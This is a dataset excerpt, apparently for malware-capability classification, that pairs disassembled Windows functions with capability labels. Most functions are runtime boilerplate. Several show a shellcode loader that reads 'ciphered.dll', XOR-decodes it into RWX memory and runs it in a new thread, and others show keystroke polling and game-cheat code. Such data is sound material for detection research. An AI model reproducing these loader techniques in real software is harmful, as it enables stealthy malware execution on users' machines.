joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008330
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rdi
mov eax, 0x1020
push rsi
push rbx
call fcn.14000e930
sub rsp, rax
mov rsi, rdx
mov rdi, r8
lea rdx, [0x14001b56c]
call fcn.1400042a0
mov rdx, rdi
mov rcx, rsi
mov rbx, rax
call fcn.140008210
test rbx, rbx
mov rdi, rax
je 0x140008429
test rax, rax
je 0x14000841c
lea rsi, [rsp + 0x20]
nop word [rax + rax]
mov rcx, rbx
call sub.msvcrt.dll_feof
test eax, eax
jne 0x140008418
mov r8d, 0x1000
mov r9, rbx
mov edx, 1
mov rcx, rsi
call sub.msvcrt.dll_fread
test rax, rax
mov r8, rax
jne 0x1400083c8
mov rcx, rbx
call sub.msvcrt.dll_ferror
test eax, eax
je 0x140008380
mov rcx, rbx
call sub.msvcrt.dll_clearerr
jmp 0x1400083f1
mov r9, rdi
mov edx, 1
mov rcx, rsi
call sub.msvcrt.dll_fwrite
test rax, rax
je 0x1400083e9
mov rcx, rdi
call sub.msvcrt.dll_ferror
test eax, eax
je 0x140008380
mov rcx, rdi
call sub.msvcrt.dll_clearerr
mov esi, 0xffffffff
mov rcx, rbx
call sub.msvcrt.dll_fclose
mov rcx, rdi
call sub.msvcrt.dll_fclose
mov eax, esi
add rsp, 0x1020
pop rbx
pop rsi
pop rdi
ret
xor esi, esi
jmp 0x1400083f6
test rbx, rbx
je 0x140008429
mov rcx, rbx
call sub.msvcrt.dll_fclose
test rdi, rdi
je 0x140008436
mov rcx, rdi
call sub.msvcrt.dll_fclose
mov esi, 0xffffffff
jmp 0x140008406
Function at 0x1400084a0
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
push r12
mov eax, 0x2110
push rbp
push rdi
push rsi
push rbx
call fcn.14000e930
sub rsp, rax
mov r8d, 0x1000
xor ebx, ebx
lea rsi, [rsp + 0x110]
mov rdx, rcx
mov dword [rsp + 0x5c], 0
lea r12, [rsp + 0xa0]
mov rcx, rsi
call fcn.140008e30
mov edx, 1
lea rcx, [0x140007980]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov rcx, r12
mov dword [rsp + 0x60], 0x18
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x70], 1
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, 1
pxor xmm0, xmm0
mov rbp, qword [fcn.140016c40]
movups xmmword [rsp + 0xa8], xmm0
xor ecx, ecx
mov qword [rsp + 0xb8], 0
mov dword [rsp + 0xdc], 0x101
mov word [rsp + 0xe0], ax
call rbp
mov rcx, rax
call sub.msvcrt.dll__fileno_1
mov rdi, qword [sym.imp.msvcrt.dll__get_osfhandle]
mov ecx, eax
call rdi
mov ecx, 1
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0xf0], rax
call rbp
mov rcx, rax
call sub.msvcrt.dll__fileno_1
mov ecx, eax
call rdi
mov ecx, 2
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0xf8], rax
call rbp
mov rcx, rax
call sub.msvcrt.dll__fileno_1
mov ecx, eax
call rdi
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0x100], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
mov qword [rsp + 0x40], r12
mov rcx, rsi
mov dword [rsp + 0x28], 0
lea r8, [rsp + 0x60]
mov rdx, rax
lea rax, [rsp + 0x80]
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140008640
mov rcx, qword [rsp + 0x80]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x80]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [rsp + 0x5c]
add rsp, 0x2110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rdx, str.Error_creating_child_process__n
lea rcx, str.CreateProcessW
call fcn.140002be0
mov eax, 0xffffffff
add rsp, 0x2110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140008830
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov r12, rcx
mov ecx, 0x2000
mov rbp, rdx
mov rdi, r8
call sub.msvcrt.dll_malloc
test rax, rax
mov rsi, rax
je 0x140008920
xor edx, edx
mov r8d, 2
mov rcx, r12
call fcn.14000f470
test eax, eax
js 0x140008920
mov rcx, r12
call fcn.14000f510
movsxd rbx, eax
cmp rbx, rdi
jb 0x140008920
mov r15d, 1
sub r15, rdi
mov qword [rsp + 0x28], r15
mov r13d, 0x2000
cmp rbx, r13
cmovae r13, rbx
lea r14, [r13 - 0x2000]
sub rbx, r14
cmp rbx, rdi
jb 0x140008920
xor r8d, r8d
mov edx, r14d
mov rcx, r12
call fcn.14000f470
test eax, eax
js 0x140008920
mov r9, r12
mov r8, rbx
mov edx, 1
mov rcx, rsi
call sub.msvcrt.dll_fread
cmp rax, rbx
jne 0x140008920
mov rdx, qword [rsp + 0x28]
lea rbx, [rdx + rax]
jmp 0x14000890a
lea r15, [rbx - 1]
mov r8, rdi
mov rdx, rbp
lea rcx, [rsi + r15]
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x140008940
mov rbx, r15
test rbx, rbx
jne 0x1400088f0
lea rbx, [r14 + rdi - 1]
test r14, r14
jne 0x140008899
nop dword [rax]
xor ebx, ebx
mov rcx, rsi
call sub.msvcrt.dll_free
mov rax, rbx
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [r13 + rbx - 0x2001]
jmp 0x140008922

Function at 0x1400090c0
Capabilities:
Create directory

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140023300]
test rax, rax
je 0x1400090fa
mov dword [rsp + 0x20], 0x18
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
sbb eax, eax
add rsp, 0x48
ret
lea rcx, str.Security_descriptor_is_not_initialized__n
call fcn.140002b70
mov eax, 0xffffffff
jmp 0x1400090f5
Function at 0x14000db90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140016c40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140016c40
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000dc00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140024384]
test esi, esi
mov rbx, rcx
jle 0x14000dd30
mov rax, qword [0x140024388]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000dc4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000dcd5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000dc30
mov rcx, rbx
call fcn.14000e650
test rax, rax
mov rdi, rax
je 0x14000dd52
mov rax, qword [0x140024388]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000e790
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140024388]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000dd37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000dcce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000dce0
add dword [0x140024384], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140024388]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000dcce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000db90
nop dword [rax]
xor esi, esi
jmp 0x14000dc58
mov rax, qword [0x140024388]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.14000db90
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.14000db90
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000e2c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400243e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400243c0]
test rbx, rbx
je 0x14000e31c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000e313
test rsi, rsi
je 0x14000e313
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000e2f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000e650
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001f850]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000e670
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000e678
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000e670
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000e6cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14000e6c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000e670
add rax, 0x28
cmp rax, r9
jne 0x14000e6b0
xor eax, eax
ret

Function at 0x14000e6d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001f850]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000e6ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000e6f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000e6ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000e790
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001f850]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000e7af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000e7b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001765
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
lea rdx, [0x14000a002]
lea rcx, str.ciphered.dll
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400017a5
lea rcx, str.Failed_to_open_the_DLL_n
call fcn.140001550
mov eax, 0
jmp 0x140001858
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_ftell
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
mov qword [rax], rdx
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_rewind
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001820
lea rcx, str.Failed_to_alloc_space_n
call fcn.140001550
mov eax, 0
jmp 0x140001858
mov rax, qword [rbp + 0x10]
mov rdx, qword [rax]
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
cmp qword [rbp + 0x10], rax
je 0x140001854
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp - 0x10]
add rsp, 0x30
pop rbp
ret
Function at 0x140001cb3
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov eax, ecx
mov qword [rbp + 0x18], rdx
mov byte [rbp + 0x10], al
mov rax, qword [rbp + 0x18]
lea rdx, [0x14000a041]
mov rcx, rax
call sub.msvcrt.dll_strtok
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
jmp 0x140001d0b
mov eax, dword [rbp - 0xc]
cdqe
mov rdx, qword [rbp - 8]
mov qword [rbp + rax*8 - 0x30], rdx
lea rdx, section..rdata
mov ecx, 0
call sub.msvcrt.dll_strtok
mov qword [rbp - 8], rax
add dword [rbp - 0xc], 1
cmp qword [rbp - 8], 0
jne 0x140001ce4
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x38]
mov rcx, rax
call fcn.140001765
mov qword [rbp - 0x18], rax
movzx eax, byte [rbp + 0x10]
mov edx, dword [0x140009820]
mov ecx, edx
lea rdx, [rbp - 0x3c]
mov r9, rdx
mov r8d, eax
mov rdx, rcx
lea rcx, [0x140009280]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x30]
mov r8, qword [rbp - 0x38]
mov ecx, dword [0x140009820]
mov r10d, ecx
mov rcx, qword [rbp - 0x18]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov r9, r8
mov r8, rcx
mov rdx, r10
lea rcx, [0x140009280]
call fcn.14000185e
mov eax, dword [0x140009820]
mov edx, eax
lea rax, [rbp - 0x3c]
mov r9, rax
mov r8d, 0x40
lea rcx, [0x140009280]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
lea rax, [0x140009280]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140001e02
lea rcx, str.Failed_to_create_a_thread_n
call fcn.140001550
mov eax, 0
jmp 0x140001e1c
mov rax, qword [rbp - 0x20]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 1
add rsp, 0x70
pop rbp
ret
Function at 0x140001e22
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 prga
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov eax, dword [0x140009260]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001e68
mov eax, 1
jmp 0x140001f9c
mov eax, dword [0x140009260]
mov edx, eax
mov rax, qword [rbp - 0x10]
mov r8, rdx
lea rdx, [0x140009020]
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov qword [rbp - 8], 0
jmp 0x140001eb3
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
add rax, rdx
movzx edx, byte [rax]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
add rax, rcx
xor edx, 0x33
mov byte [rax], dl
add qword [rbp - 8], 1
mov eax, dword [0x140009260]
mov eax, eax
cmp qword [rbp - 8], rax
jb 0x140001e90
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 0x93]
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
mov byte [rdx], al
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 0x1da]
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax + 1]
mov byte [rdx], al
mov rax, qword [rbp + 0x10]
add rax, 4
movzx edx, byte [rax]
mov rax, qword [rbp - 0x10]
add rax, 0x1e2
sub edx, 2
mov byte [rax], dl
mov rax, qword [rbp + 0x10]
add rax, 2
movzx edx, byte [rax]
mov rax, qword [rbp - 0x10]
add rax, 0x1e3
sub edx, 3
mov byte [rax], dl
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 0x1e5]
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax + 3]
mov byte [rdx], al
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140001f82
lea rcx, str.Failed_to_create_a_thread_n
call fcn.140001550
mov eax, 0
jmp 0x140001f9c
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 1
add rsp, 0x50
pop rbp
ret
Function at 0x140002830
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140008800
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140008800
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x1400028a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x14000d0a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140002a50
mov rax, qword [0x14000d0a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400028ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140002977
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x1400028d0
mov rcx, r12
call fcn.140003350
mov rbp, rax
test rax, rax
je 0x140002aad
mov rax, qword [0x14000d0a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.140003480
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000d0a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002a92
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002970
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002a00
add dword [0x14000d0a4], 1
cmp ebx, 8
jae 0x1400029a8
test bl, 4
jne 0x140002a60
test ebx, ebx
je 0x140002999
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140002a80
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140002999
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x1400029da
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x14000d0a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002970
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002830
xor edi, edi
jmp 0x1400028f7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140002999
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140002999
mov rax, qword [0x14000d0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140002830
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140002830
nop
nop dword [rax]
Function at 0x140002fc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000d100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x140003014
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000300b
test r12, r12
je 0x14000300b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002ff0
lea rcx, [0x14000d100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140003350
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x14000a800]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x1400033c9
mov rcx, r10
call fcn.140003220
test eax, eax
je 0x1400033c9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x1400033c6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400033bd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x1400033c9
add r8, 0x28
cmp r8, r9
jne 0x1400033a8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140011249
Capabilities:
Terminate process

Disassembly:
jmp 0x140014b50
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112e4
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015ea0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015ec0
xor al, al
jmp 0x140015f41
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015ed3
xor al, al
jmp 0x140015f41
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015efd
xor al, al
jmp 0x140015f41
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015f11
xor al, al
jmp 0x140015f41
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015f23
xor al, al
jmp 0x140015f41
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015f3f
xor al, al
jmp 0x140015f41
mov al, 1
add rsp, 0x38
ret
Function at 0x140009030
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
movzx eax, byte [0x140173a5b]
test eax, eax
jne 0x140009049
jmp 0x14000918a
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14000909f
mov rcx, qword [rsp + 0x70]
call fcn.140008ff0
movzx eax, al
test eax, eax
je 0x14000909f
mov edx, 0x10001
lea rcx, [0x140173ba0]
call fcn.14001d3a0
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.1400180f0
mov rcx, rax
call fcn.140018110
jmp 0x14000918a
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14000915a
mov rcx, qword [rsp + 0x70]
call fcn.140008ff0
movzx eax, al
test eax, eax
jne 0x14000915a
mov edx, 0x100
lea rcx, [0x140173ba0]
call fcn.14001d3a0
mov dword [rsp + 0x24], reloc.WS2_32.dll_ntohs
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x40]
call fcn.1400180f0
mov rcx, rax
call fcn.140018110
mov edx, 0x10001
lea rcx, [0x140173ba0]
call fcn.14001d3a0
mov dword [rsp + 0x28], reloc.WS2_32.dll_ntohs
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x48]
call fcn.1400180f0
mov rcx, rax
call fcn.140018110
mov edx, 0x100
lea rcx, [0x140173ba0]
call fcn.14001d3a0
mov dword [rsp + 0x2c], reloc.WS2_32.dll_ntohs
lea rdx, [rsp + 0x2c]
lea rcx, [rsp + 0x50]
call fcn.1400180f0
mov rcx, rax
call fcn.140018110
jmp 0x14000918a
mov edx, 0x100
lea rcx, [0x140173ba0]
call fcn.14001d3a0
mov dword [rsp + 0x30], reloc.WS2_32.dll_ntohs
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.1400180f0
mov rcx, rax
call fcn.140018110
add rsp, 0x68
ret
Function at 0x1400092f0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x38
movzx eax, byte [0x140173a66]
test eax, eax
jne 0x140009304
jmp 0x14000943d
mov dword [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
vmovss xmm0, dword [0x140157390]
call fcn.140044900
vxorps xmm2, xmm2, xmm2
vmovss xmm1, dword [0x140157678]
lea rcx, [rsp + 0x24]
call fcn.1400083e0
xor edx, edx
mov rcx, rax
call fcn.1400447f0
mov r8d, dword [rsp + 0x20]
xor edx, edx
lea rcx, str.Cheats_List
call fcn.14003f6b0
movzx edx, byte [reloc.WS2_32.dll_accept]
lea rcx, [0x140156a24]
call fcn.1400092c0
movzx eax, byte [0x140173a5d]
test eax, eax
je 0x140009392
movzx eax, byte [0x140173a7d]
test eax, eax
jne 0x140009386
mov ecx, dword [0x140168144]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x140009392
lea rcx, str.Aimbot__Toggle_
call fcn.1400829b0
movzx edx, byte [0x140173a5c]
lea rcx, [0x140156a38]
call fcn.1400092c0
movzx edx, byte [0x140173a65]
lea rcx, str.Glow
call fcn.1400092c0
